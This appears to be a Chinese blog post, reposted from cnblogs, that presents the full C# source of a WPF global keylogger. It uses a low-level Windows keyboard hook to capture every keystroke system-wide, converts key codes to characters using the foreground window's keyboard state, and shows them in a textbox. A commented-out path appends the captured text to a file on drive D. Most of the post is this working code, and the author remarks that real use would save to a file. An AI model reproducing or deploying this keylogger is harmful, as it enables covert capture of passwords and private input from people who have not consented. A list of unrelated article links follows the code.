博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
wpf键盘记录器
阅读量:5038 次
发布时间:2019-06-12

本文共 15975 字,大约阅读时间需要 53 分钟。

很简单的一个wpf键盘记录器

这个程序我一样用了全局勾子,之前用的都是winform上运行了,前一段时间

在国外的论坛上逛看到了一个wpf能用的就做了一个小程序记录一下,为了方便大家直关的看我在页面上放了一个textbox,

用的时候不会这样一般都是保存到一个文本里呵呵不能做坏事

有三个主要的类

///      /// Raw keyevent handler.     ///      /// sender     /// raw keyevent arguments     public delegate void RawKeyEventHandler(object sender, RawKeyEventArgs args);    #region WINAPI Helper class    ///      /// Winapi Key interception helper class.     ///      internal static class InterceptKeys    {        public delegate IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam);        public static int WH_KEYBOARD_LL = 13;        ///          /// Key event         ///          public enum KeyEvent : int        {            ///              /// Key down             ///              WM_KEYDOWN = 256,            ///              /// Key up             ///              WM_KEYUP = 257,            ///              /// System key up             ///              WM_SYSKEYUP = 261,            ///              /// System key down             ///              WM_SYSKEYDOWN = 260        }        public static IntPtr SetHook(LowLevelKeyboardProc proc)        {            using (Process curProcess = Process.GetCurrentProcess())            using (ProcessModule curModule = curProcess.MainModule)            {                return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);            }        }        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]        public static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]        [return: MarshalAs(UnmanagedType.Bool)]        public static extern bool UnhookWindowsHookEx(IntPtr hhk);        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]        public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, UIntPtr wParam, IntPtr lParam);        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]        public static extern IntPtr GetModuleHandle(string lpModuleName);        #region Convert VKCode to string        // Note: Sometimes single VKCode represents multiple chars, thus string.         // E.g. typing "^1" (notice that when pressing 1 the both characters appear,         // because of this behavior, "^" is called dead key)         [DllImport("user32.dll")]        private static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);        [DllImport("user32.dll")]        private static extern bool GetKeyboardState(byte[] lpKeyState);        [DllImport("user32.dll")]        private static extern uint MapVirtualKeyEx(uint uCode, uint uMapType, IntPtr dwhkl);        [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]        private static extern IntPtr GetKeyboardLayout(uint dwLayout);        [DllImport("User32.dll")]        private static extern IntPtr GetForegroundWindow();        [DllImport("User32.dll")]        private static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);        [DllImport("user32.dll")]        private static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach);        [DllImport("kernel32.dll")]        private static extern uint GetCurrentThreadId();        private static uint lastVKCode = 0;        private static uint lastScanCode = 0;        private static byte[] lastKeyState = new byte[255];        private static bool lastIsDead = false;        ///          /// Convert VKCode to Unicode.         /// 
isKeyDown is required for because of keyboard state inconsistencies!
///
/// VKCode /// Is the key down event? ///
String representing single unicode character.
public static string VKCodeToString(uint VKCode, bool isKeyDown) { // ToUnicodeEx needs StringBuilder, it populates that during execution. System.Text.StringBuilder sbString = new System.Text.StringBuilder(5); byte[] bKeyState = new byte[255]; bool bKeyStateStatus; bool isDead = false; // Gets the current windows window handle, threadID, processID IntPtr currentHWnd = GetForegroundWindow(); uint currentProcessID; uint currentWindowThreadID = GetWindowThreadProcessId(currentHWnd, out currentProcessID); // This programs Thread ID uint thisProgramThreadId = GetCurrentThreadId(); // Attach to active thread so we can get that keyboard state if (AttachThreadInput(thisProgramThreadId, currentWindowThreadID, true)) { // Current state of the modifiers in keyboard bKeyStateStatus = GetKeyboardState(bKeyState); // Detach AttachThreadInput(thisProgramThreadId, currentWindowThreadID, false); } else { // Could not attach, perhaps it is this process? bKeyStateStatus = GetKeyboardState(bKeyState); } // On failure we return empty string. if (!bKeyStateStatus) return ""; // Gets the layout of keyboard IntPtr HKL = GetKeyboardLayout(currentWindowThreadID); // Maps the virtual keycode uint lScanCode = MapVirtualKeyEx(VKCode, 0, HKL); // Keyboard state goes inconsistent if this is not in place. In other words, we need to call above commands in UP events also. if (!isKeyDown) return ""; // Converts the VKCode to unicode int relevantKeyCountInBuffer = ToUnicodeEx(VKCode, lScanCode, bKeyState, sbString, sbString.Capacity, (uint)0, HKL); string ret = ""; switch (relevantKeyCountInBuffer) { // Dead keys (^,`...) case -1: isDead = true; // We must clear the buffer because ToUnicodeEx messed it up, see below. ClearKeyboardBuffer(VKCode, lScanCode, HKL); break; case 0: break; // Single character in buffer case 1: ret = sbString[0].ToString(); break; // Two or more (only two of them is relevant) case 2: default: ret = sbString.ToString().Substring(0, 2); break; } // We inject the last dead key back, since ToUnicodeEx removed it. // More about this peculiar behavior see e.g: // http://www.experts-exchange.com/Programming/System/Windows__Programming/Q_23453780.html // http://blogs.msdn.com/michkap/archive/2005/01/19/355870.aspx // http://blogs.msdn.com/michkap/archive/2007/10/27/5717859.aspx if (lastVKCode != 0 && lastIsDead) { System.Text.StringBuilder sbTemp = new System.Text.StringBuilder(5); ToUnicodeEx(lastVKCode, lastScanCode, lastKeyState, sbTemp, sbTemp.Capacity, (uint)0, HKL); lastVKCode = 0; return ret; } // Save these lastScanCode = lScanCode; lastVKCode = VKCode; lastIsDead = isDead; lastKeyState = (byte[])bKeyState.Clone(); return ret; } private static void ClearKeyboardBuffer(uint vk, uint sc, IntPtr hkl) { System.Text.StringBuilder sb = new System.Text.StringBuilder(10); int rc; do { byte[] lpKeyStateNull = new Byte[255]; rc = ToUnicodeEx(vk, sc, lpKeyStateNull, sb, sb.Capacity, 0, hkl); } while (rc < 0); } #endregion Convert VKCode to string } #endregion WINAPI Helper class

 

public class KeyboardListener : IDisposable    {        ///          /// Creates global keyboard listener.         ///          public KeyboardListener()        {            // Dispatcher thread handling the KeyDown/KeyUp events.             this.dispatcher = Dispatcher.CurrentDispatcher;            // We have to store the LowLevelKeyboardProc, so that it is not garbage collected runtime             hookedLowLevelKeyboardProc = (InterceptKeys.LowLevelKeyboardProc)LowLevelKeyboardProc;            // Set the hook             hookId = InterceptKeys.SetHook(hookedLowLevelKeyboardProc);            // Assign the asynchronous callback event             hookedKeyboardCallbackAsync = new KeyboardCallbackAsync(KeyboardListener_KeyboardCallbackAsync);        }        private Dispatcher dispatcher;        ///          /// Destroys global keyboard listener.         ///          ~KeyboardListener()        {            Dispose();        }        ///          /// Fired when any of the keys is pressed down.         ///          public event RawKeyEventHandler KeyDown;        ///          /// Fired when any of the keys is released.         ///          public event RawKeyEventHandler KeyUp;        #region Inner workings        ///          /// Hook ID         ///          private IntPtr hookId = IntPtr.Zero;        ///          /// Asynchronous callback hook.         ///          /// Character         /// Keyboard event         /// VKCode         private delegate void KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character);        ///          /// Actual callback hook.         ///         /// 
Calls asynchronously the asyncCallback.
///
/// /// /// ///
[MethodImpl(MethodImplOptions.NoInlining)] private IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam) { string chars = ""; if (nCode >= 0) if (wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN || wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYUP || wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN || wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYUP) { // Captures the character(s) pressed only on WM_KEYDOWN chars = InterceptKeys.VKCodeToString((uint)Marshal.ReadInt32(lParam), (wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN || wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN)); hookedKeyboardCallbackAsync.BeginInvoke((InterceptKeys.KeyEvent)wParam.ToUInt32(), Marshal.ReadInt32(lParam), chars, null, null); } return InterceptKeys.CallNextHookEx(hookId, nCode, wParam, lParam); } /// /// Event to be invoked asynchronously (BeginInvoke) each time key is pressed. /// private KeyboardCallbackAsync hookedKeyboardCallbackAsync; /// /// Contains the hooked callback in runtime. /// private InterceptKeys.LowLevelKeyboardProc hookedLowLevelKeyboardProc; /// /// HookCallbackAsync procedure that calls accordingly the KeyDown or KeyUp events. /// /// Keyboard event /// VKCode /// Character as string. private void KeyboardListener_KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character) { switch (keyEvent) { // KeyDown events case InterceptKeys.KeyEvent.WM_KEYDOWN: if (KeyDown != null) dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, false, character)); break; case InterceptKeys.KeyEvent.WM_SYSKEYDOWN: if (KeyDown != null) dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, true, character)); break; // KeyUp events case InterceptKeys.KeyEvent.WM_KEYUP: if (KeyUp != null) dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, false, character)); break; case InterceptKeys.KeyEvent.WM_SYSKEYUP: if (KeyUp != null) dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, true, character)); break; default: break; } } #endregion Inner workings #region IDisposable Members /// /// Disposes the hook. ///
This call is required as it calls the UnhookWindowsHookEx.
///
public void Dispose() { InterceptKeys.UnhookWindowsHookEx(hookId); } #endregion IDisposable Members }

 

///      /// Raw KeyEvent arguments.     ///      public class RawKeyEventArgs : EventArgs    {        ///          /// VKCode of the key.         ///          public int VKCode;        ///          /// WPF Key of the key.         ///          public Key Key;        ///          /// Is the hitted key system key.         ///          public bool IsSysKey;        ///          /// Convert to string.         ///          /// 
Returns string representation of this key, if not possible empty string is returned.
public override string ToString() { return Character; } /// /// Unicode character of key pressed. /// public string Character; /// /// Create raw keyevent arguments. /// /// /// /// Character public RawKeyEventArgs(int VKCode, bool isSysKey, string Character) { this.VKCode = VKCode; this.IsSysKey = isSysKey; this.Character = Character; this.Key = System.Windows.Input.KeyInterop.KeyFromVirtualKey(VKCode); } }

 

codebehind

KeyboardListener _KeyListener = new KeyboardListener();        bool _isRuning = false;        public MainWindow()        {            InitializeComponent();            this.Loaded += Window_Loaded;        }        public void BeginListen(object sender, RoutedEventArgs e)        {            _isRuning = true;        }        public void StopListen(object sender, RoutedEventArgs e)        {            _isRuning = false;        }        private void Window_Loaded(object sender, RoutedEventArgs e)        {            _KeyListener.KeyDown += new RawKeyEventHandler(KListener_KeyDown);        }        StringBuilder _sb = new StringBuilder();        private void KListener_KeyDown(object sender, RawKeyEventArgs args)        {            if (!_isRuning) return;            tb_keyText.Text += args.ToString();            //if (args.Key == Key.Enter)            //{            //    Write(_sb.ToString());            //    _sb.Clear();            //}            //else            //{            //    _sb.Append(args.ToString());            //}            //Console.WriteLine(args.ToString());        }        private void Write(string keyEvents)        {            try            {                StreamWriter sw = new StreamWriter("D:/keyReport.txt", true);                sw.WriteLine(keyEvents);                sw.Close();            }            catch (Exception Exception)            {            }        }        private void Window_Closing(object sender, System.ComponentModel.CancelEventArgs e)        {            _KeyListener.Dispose();        }

 

转载于:https://www.cnblogs.com/li-peng/p/3328454.html

你可能感兴趣的文章
Linux 常用命令——cat, tac, nl, more, less, head, tail, od
查看>>
超详细的Guava RateLimiter限流原理解析
查看>>
VueJS ElementUI el-table 的 formatter 和 scope template 不能同时存在
查看>>
Halcon一日一练:图像拼接技术
查看>>
Swift - RotateView
查看>>
iOS设计模式 - 中介者
查看>>
centos jdk 下载
查看>>
HDU 1028 Ignatius and the Princess III(母函数)
查看>>
关于多路复用器的综合结果
查看>>
(转)面向对象最核心的机制——动态绑定(多态)
查看>>
token简单的使用流程。
查看>>
django创建项目流程
查看>>
UIActionSheet 修改字体颜色
查看>>
Vue 框架-01- 入门篇 图文教程
查看>>
Spring注解之@Lazy注解,源码分析和总结
查看>>
多变量微积分笔记24——空间线积分
查看>>
Magento CE使用Redis的配置过程
查看>>
poi操作oracle数据库导出excel文件
查看>>
(转)Intent的基本使用方法总结
查看>>
Mac 下的Chrome 按什么快捷键调出页面调试工具
查看>>